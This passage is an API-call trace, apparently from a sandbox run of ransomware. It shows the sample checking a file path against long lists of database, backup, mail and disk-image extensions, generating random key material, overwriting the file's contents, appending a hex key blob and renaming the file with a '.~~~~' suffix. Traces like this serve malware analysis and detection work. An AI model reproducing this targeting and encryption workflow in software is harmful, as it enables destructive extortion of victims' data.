	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".ACCDB") returned 0x0
	[0067.155] lstrlenW (lpString=".fdb") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".fdb") returned 0x0
	[0067.155] lstrlenW (lpString=".bak") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".bak") returned 0x0
	[0067.155] lstrlenW (lpString=".myd") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".myd") returned 0x0
	[0067.155] lstrlenW (lpString=".DTXS") returned 5
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".DTXS") returned 0x0
	[0067.155] lstrlenW (lpString=".ckp") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".ckp") returned 0x0
	[0067.155] lstrlenW (lpString=".dbt") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".dbt") returned 0x0
	[0067.155] lstrlenW (lpString=".db") returned 3
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".db") returned 0x0
	[0067.155] lstrlenW (lpString=".TXT") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".TXT") returned 0x0
	[0067.155] lstrlenW (lpString=".MDF") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".MDF") returned 0x0
	[0067.155] lstrlenW (lpString=".bdb") returned 4
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".bdb") returned 0x0
	[0067.155] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0067.155] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0067.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39d7e8
	[0067.156] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0067.156] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0067.158] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0067.158] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0067.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0067.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0067.159] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18714870857) returned 1
	[0067.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x950d5130, dwHighDateTime=0x1d60e1e)) 
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9bb0
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0067.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9bb0 | out: hHeap=0x300000) returned 1
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0067.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0067.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0067.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7260
	[0067.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0067.159] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0067.159] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.160] GetLastError () returned 0x0
	[0067.160] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] GetLastError () returned 0x0
	[0067.161] SetLastError (dwErrCode=0x0) 
	[0067.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7260 | out: hHeap=0x300000) returned 1
	[0067.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c04d0
	[0067.162] ReadFile (in: hFile=0x128, lpBuffer=0x3c04d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.165] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0067.165] WriteFile (in: hFile=0x128, lpBuffer=0x3c04d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c04d0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0067.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0067.167] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0067.167] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0067.169] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0067.169] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0067.169] CloseHandle (hObject=0x128) returned 1
	[0067.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0067.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.~~~~")) returned 1
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0067.186] GetLastError () returned 0x0
	[0067.186] SetLastError (dwErrCode=0x0) 
	[0067.186] GetLastError () returned 0x0
	[0067.186] SetLastError (dwErrCode=0x0) 
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0067.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0067.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7e8 | out: hHeap=0x300000) returned 1
	[0067.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0067.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0067.188] RtlWakeConditionVariable () returned 0x365f70
	[0067.188] GetCurrentThreadId () returned 0x9cc
	[0067.188] GetCurrentThreadId () returned 0x9cc
	[0067.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0067.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7e8 | out: hHeap=0x300000) returned 1
	[0067.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ddc8 | out: hHeap=0x300000) returned 1
	[0067.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0067.188] lstrlenW (lpString=".scr") returned 4
	[0067.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".scr") returned 0x0
	[0067.188] lstrlenW (lpString=".cmd") returned 4
	[0067.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".cmd") returned 0x0
	[0067.188] lstrlenW (lpString=".dll") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dll") returned 0x0
	[0067.189] lstrlenW (lpString=".bat") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".bat") returned 0x0
	[0067.189] lstrlenW (lpString=".cpl") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".cpl") returned 0x0
	[0067.189] lstrlenW (lpString=".sys") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".sys") returned 0x0
	[0067.189] lstrlenW (lpString=".msc") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".msc") returned 0x0
	[0067.189] lstrlenW (lpString=".com") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".com") returned 0x0
	[0067.189] lstrlenW (lpString=".lnk") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".lnk") returned 0x0
	[0067.189] lstrlenW (lpString=".msp") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".msp") returned 0x0
	[0067.189] lstrlenW (lpString=".pif") returned 4
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".pif") returned 0x0
	[0067.189] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0067.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0067.189] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0067.190] lstrlenW (lpString=".sqb") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".sqb") returned 0x0
	[0067.190] lstrlenW (lpString=".ost") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".ost") returned 0x0
	[0067.190] lstrlenW (lpString=".txt") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".txt") returned 0x0
	[0067.190] lstrlenW (lpString=".mdt") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".mdt") returned 0x0
	[0067.190] lstrlenW (lpString=".BDB") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".BDB") returned 0x0
	[0067.190] lstrlenW (lpString=".eql") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".eql") returned 0x0
	[0067.190] lstrlenW (lpString=".DBF") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DBF") returned 0x0
	[0067.190] lstrlenW (lpString=".EQL") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".EQL") returned 0x0
	[0067.190] lstrlenW (lpString=".FDB") returned 4
	[0067.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".FDB") returned 0x0
	[0067.190] lstrlenW (lpString=".EDB") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".EDB") returned 0x0
	[0067.191] lstrlenW (lpString=".DACPAC") returned 7
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DACPAC") returned 0x0
	[0067.191] lstrlenW (lpString=".VHD") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".VHD") returned 0x0
	[0067.191] lstrlenW (lpString=".DBV") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DBV") returned 0x0
	[0067.191] lstrlenW (lpString=".dacpac") returned 7
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dacpac") returned 0x0
	[0067.191] lstrlenW (lpString=".sdf") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".sdf") returned 0x0
	[0067.191] lstrlenW (lpString=".accdb") returned 6
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".accdb") returned 0x0
	[0067.191] lstrlenW (lpString=".DBX") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DBX") returned 0x0
	[0067.191] lstrlenW (lpString=".MDT") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".MDT") returned 0x0
	[0067.191] lstrlenW (lpString=".SQB") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".SQB") returned 0x0
	[0067.191] lstrlenW (lpString=".vhd") returned 4
	[0067.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".vhd") returned 0x0
	[0067.192] lstrlenW (lpString=".bac") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".bac") returned 0x0
	[0067.192] lstrlenW (lpString=".mdf") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".mdf") returned 0x0
	[0067.192] lstrlenW (lpString=".BAK") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".BAK") returned 0x0
	[0067.192] lstrlenW (lpString=".BAC") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".BAC") returned 0x0
	[0067.192] lstrlenW (lpString=".dbs") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dbs") returned 0x0
	[0067.192] lstrlenW (lpString=".vhdx") returned 5
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".vhdx") returned 0x0
	[0067.192] lstrlenW (lpString=".NDF") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".NDF") returned 0x0
	[0067.192] lstrlenW (lpString=".dat") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dat") returned 0x0
	[0067.192] lstrlenW (lpString=".DBS") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DBS") returned 0x0
	[0067.192] lstrlenW (lpString=".CKP") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".CKP") returned 0x0
	[0067.192] lstrlenW (lpString=".edb") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".edb") returned 0x0
	[0067.192] lstrlenW (lpString=".PST") returned 4
	[0067.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".PST") returned 0x0
	[0067.193] lstrlenW (lpString=".dbf") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dbf") returned 0x0
	[0067.193] lstrlenW (lpString=".SQL") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".SQL") returned 0x0
	[0067.193] lstrlenW (lpString=".pst") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".pst") returned 0x0
	[0067.193] lstrlenW (lpString=".dbv") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dbv") returned 0x0
	[0067.193] lstrlenW (lpString=".SDF") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".SDF") returned 0x0
	[0067.193] lstrlenW (lpString=".dtxs") returned 5
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dtxs") returned 0x0
	[0067.193] lstrlenW (lpString=".db3") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".db3") returned 0x0
	[0067.193] lstrlenW (lpString=".OST") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".OST") returned 0x0
	[0067.193] lstrlenW (lpString=".dbx") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".dbx") returned 0x0
	[0067.193] lstrlenW (lpString=".DB3") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DB3") returned 0x0
	[0067.193] lstrlenW (lpString=".DAT") returned 4
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DAT") returned 0x0
	[0067.193] lstrlenW (lpString=".VHDX") returned 5
	[0067.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".VHDX") returned 0x0
	[0067.193] lstrlenW (lpString=".ndf") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".ndf") returned 0x0
	[0067.194] lstrlenW (lpString=".DB") returned 3
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DB") returned 0x0
	[0067.194] lstrlenW (lpString=".sql") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".sql") returned 0x0
	[0067.194] lstrlenW (lpString=".MYD") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".MYD") returned 0x0
	[0067.194] lstrlenW (lpString=".DBT") returned 4
	[0067.194] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpSrch=".DBT") returned 0x0
	[0067.194] lstrlenW (lpString=".ACCDB") returned 6
